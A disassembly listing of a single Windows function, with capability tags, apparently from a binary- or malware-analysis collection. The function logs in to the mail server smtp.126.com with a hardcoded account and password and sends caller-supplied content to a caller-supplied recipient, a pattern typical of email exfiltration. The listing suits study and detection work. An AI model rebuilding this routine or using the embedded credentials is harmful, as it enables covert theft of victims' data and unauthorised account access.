Function at 0x40d5a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42fec0
mov eax, dword fs:[0]
push eax
sub esp, 0xe70
mov eax, dword [0x441060]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0xe78], eax
mov eax, dword [ebp + 0xc]
push 0x5dc
mov dword [ebp - 0xe7c], eax
lea eax, [ebp - 0x5ec]
push 0
push eax
call fcn.00410740
push 0x80
lea eax, [ebp - 0x66c]
push 0
push eax
call fcn.00410740
push 0x80
lea eax, [ebp - 0x6ec]
push 0
push eax
call fcn.00410740
add esp, 0x24
lea eax, [ebp - 0xe68]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
xorps xmm0, xmm0
mov eax, 2
movups xmmword [ebp - 0xcd8], xmm0
push 0x19
mov word [ebp - 0xcd8], ax
call sub.WS2_32.dll_htons
push str.smtp.126.com
mov word [ebp - 0xcd6], ax
call sub.WS2_32.dll_gethostbyname
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0xcd4]
push eax
call fcn.004101c0
add esp, 0xc
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
test esi, esi
js 0x40dc5e
push 0x10
lea eax, [ebp - 0xcd8]
push eax
push esi
call sub.WS2_32.dll_connect
test eax, eax
js 0x40dc5e
push 0x5dc
lea eax, [ebp - 0xcc8]
push 0
push eax
call fcn.00410740
add esp, 0xc
lea eax, [ebp - 0xcc8]
push 0
push 0x5dc
push eax
push esi
call sub.WS2_32.dll_recv
test eax, eax
jne 0x40d731
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 2
call edi
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
test esi, esi
js 0x40dc5e
push 0x10
lea eax, [ebp - 0xcd8]
push eax
push esi
call sub.WS2_32.dll_connect
test eax, eax
js 0x40dc5e
push 0x5dc
lea eax, [ebp - 0xcc8]
push 0
push eax
call fcn.00410740
add esp, 0xc
lea eax, [ebp - 0xcc8]
push 0
push 0x5dc
push eax
push esi
call sub.WS2_32.dll_recv
test eax, eax
je 0x40d6d3
lea eax, [ebp - 0xcc8]
push eax
push 0x442318
call fcn.00401400
add esp, 8
mov dword [ebp - 0xe74], eax
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
mov ecx, dword [ecx + eax + 0x30]
mov edi, dword [ecx + 4]
mov ecx, edi
mov dword [ebp - 0xe6c], edi
mov edx, dword [edi]
call dword [edx + 4]
lea eax, [ebp - 0xe70]
mov dword [ebp - 4], 0
push eax
call fcn.00401e90
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0xa
mov eax, dword [edx + 0x20]
call eax
mov byte [ebp - 0xe6c], al
mov dword [ebp - 4], 0xffffffff
test edi, edi
je 0x40d7ab
mov eax, dword [edi]
mov ecx, edi
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x40d7ab
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
push dword [ebp - 0xe6c]
mov ecx, dword [ebp - 0xe74]
call fcn.00404fd0
mov ecx, dword [ebp - 0xe74]
call fcn.00403f80
push str.EHLO_HYL_PC_r_n
lea eax, [ebp - 0x5ec]
push 0x5dc
push eax
call fcn.0040d260
lea ecx, [ebp - 0x5ec]
add esp, 0xc
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d7f0
push 0
sub ecx, edx
lea eax, [ebp - 0x5ec]
push ecx
push eax
push esi
call sub.WS2_32.dll_send
push 0x5dc
lea eax, [ebp - 0xcc8]
push 0
push eax
call fcn.00410740
add esp, 0xc
lea eax, [ebp - 0xcc8]
push 0
push 0x5dc
push eax
push esi
call sub.WS2_32.dll_recv
push 0x5dc
lea eax, [ebp - 0x5ec]
push 0
push eax
call fcn.00410740
push str.AUTH_LOGIN_r_n
lea eax, [ebp - 0x5ec]
push 0x5dc
push eax
call fcn.0040d260
lea ecx, [ebp - 0x5ec]
add esp, 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d868
push 0
sub ecx, edx
lea eax, [ebp - 0x5ec]
push ecx
push eax
push esi
call sub.WS2_32.dll_send
push 0x5dc
lea eax, [ebp - 0xcc8]
push 0
push eax
call fcn.00410740
add esp, 0xc
lea eax, [ebp - 0xcc8]
push 0
push 0x5dc
push eax
push esi
call sub.WS2_32.dll_recv
push 0x5dc
lea eax, [ebp - 0x5ec]
push 0
push eax
call fcn.00410740
push str.softw8_126.com
lea eax, [ebp - 0x5ec]
push 0x5dc
push eax
call fcn.0040d260
lea ecx, [ebp - 0x5ec]
add esp, 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d8e0
sub ecx, edx
lea eax, [ebp - 0x5ec]
push ecx
push eax
lea eax, [ebp - 0x66c]
push eax
call fcn.0040d290
lea eax, [ebp - 0x66c]
push eax
push str._s_r_n
lea eax, [ebp - 0x5ec]
push 0x5dc
push eax
call fcn.0040d260
lea ecx, [ebp - 0x5ec]
add esp, 0x1c
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d926
push 0
sub ecx, edx
lea eax, [ebp - 0x5ec]
push ecx
push eax
push esi
call sub.WS2_32.dll_send
push 0x5dc
lea eax, [ebp - 0xcc8]
push 0
push eax
call fcn.00410740
add esp, 0xc
lea eax, [ebp - 0xcc8]
push 0
push 0x5dc
push eax
push esi
call sub.WS2_32.dll_recv
push str.Abc789456123
lea eax, [ebp - 0x5ec]
push 0x5dc
push eax
call fcn.0040d260
lea ecx, [ebp - 0x5ec]
add esp, 0xc
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d990
sub ecx, edx
lea eax, [ebp - 0x5ec]
push ecx
push eax
lea eax, [ebp - 0x6ec]
push eax
call fcn.0040d290
lea eax, [ebp - 0x6ec]
push eax
push str._s_r_n
lea eax, [ebp - 0x5ec]
push 0x5dc
push eax
call fcn.0040d260
lea ecx, [ebp - 0x5ec]
add esp, 0x1c
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d9d6
push 0
sub ecx, edx
lea eax, [ebp - 0x5ec]
push ecx
push eax
push esi
call sub.WS2_32.dll_send
push 0x5dc
lea eax, [ebp - 0xcc8]
push 0
push eax
call fcn.00410740
add esp, 0xc
lea eax, [ebp - 0xcc8]
push 0
push 0x5dc
push eax
push esi
call sub.WS2_32.dll_recv
push 0x5dc
lea eax, [ebp - 0x5ec]
push 0
push eax
call fcn.00410740
push str.MAIL_FROM:__softw8_126.com__r_n
lea eax, [ebp - 0x5ec]
push 0x5dc
push eax
call fcn.0040d260
lea ecx, [ebp - 0x5ec]
add esp, 0x18
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40da50
push 0
sub ecx, edx
lea eax, [ebp - 0x5ec]
push ecx
push eax
push esi
call sub.WS2_32.dll_send
push 0x5dc
lea eax, [ebp - 0xcc8]
push 0
push eax
call fcn.00410740
add esp, 0xc
lea eax, [ebp - 0xcc8]
push 0
push 0x5dc
push eax
push esi
call sub.WS2_32.dll_recv
push dword [ebp - 0xe78]
lea eax, [ebp - 0x5ec]
push str.RCPT_TO:__s__r_n
push 0x5dc
push eax
call fcn.0040d260
lea ecx, [ebp - 0x5ec]
add esp, 0x10
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40dac0
push 0
sub ecx, edx
lea eax, [ebp - 0x5ec]
push ecx
push eax
push esi
call sub.WS2_32.dll_send
push 0x5dc
lea eax, [ebp - 0xcc8]
push 0
push eax
call fcn.00410740
add esp, 0xc
lea eax, [ebp - 0xcc8]
push 0
push 0x5dc
push eax
push esi
call sub.WS2_32.dll_recv
push str.DATA_r_n
lea eax, [ebp - 0x5ec]
push 0x5dc
push eax
call fcn.0040d260
lea ecx, [ebp - 0x5ec]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40db25
push 0
sub ecx, edx
lea eax, [ebp - 0x5ec]
push ecx
push eax
push esi
call sub.WS2_32.dll_send
push 0x5dc
lea eax, [ebp - 0xcc8]
push 0
push eax
call fcn.00410740
add esp, 0xc
lea eax, [ebp - 0xcc8]
push 0
push 0x5dc
push eax
push esi
call sub.WS2_32.dll_recv
push dword [ebp - 0xe7c]
lea eax, [ebp - 0x5ec]
push str._s_r_n._r_n
push 0x5dc
push eax
call fcn.0040d260
lea ecx, [ebp - 0x5ec]
add esp, 0x10
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40db90
push 0
sub ecx, edx
lea eax, [ebp - 0x5ec]
push ecx
push eax
push esi
call sub.WS2_32.dll_send
push 0x5dc
lea eax, [ebp - 0xcc8]
push 0
push eax
call fcn.00410740
add esp, 0xc
lea eax, [ebp - 0xcc8]
push 0
push 0x5dc
push eax
push esi
call sub.WS2_32.dll_recv
push str.QUIT_r_n
lea eax, [ebp - 0x5ec]
push 0x5dc
push eax
call fcn.0040d260
lea ecx, [ebp - 0x5ec]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40dbf5
push 0
sub ecx, edx
lea eax, [ebp - 0x5ec]
push ecx
push eax
push esi
call sub.WS2_32.dll_send
push 0x5dc
lea eax, [ebp - 0xcc8]
push 0
push eax
call fcn.00410740
add esp, 0xc
lea eax, [ebp - 0xcc8]
push 0
push 0x5dc
push eax
push esi
call sub.WS2_32.dll_recv
push esi
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040ec9c
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
call fcn.004146c8
int3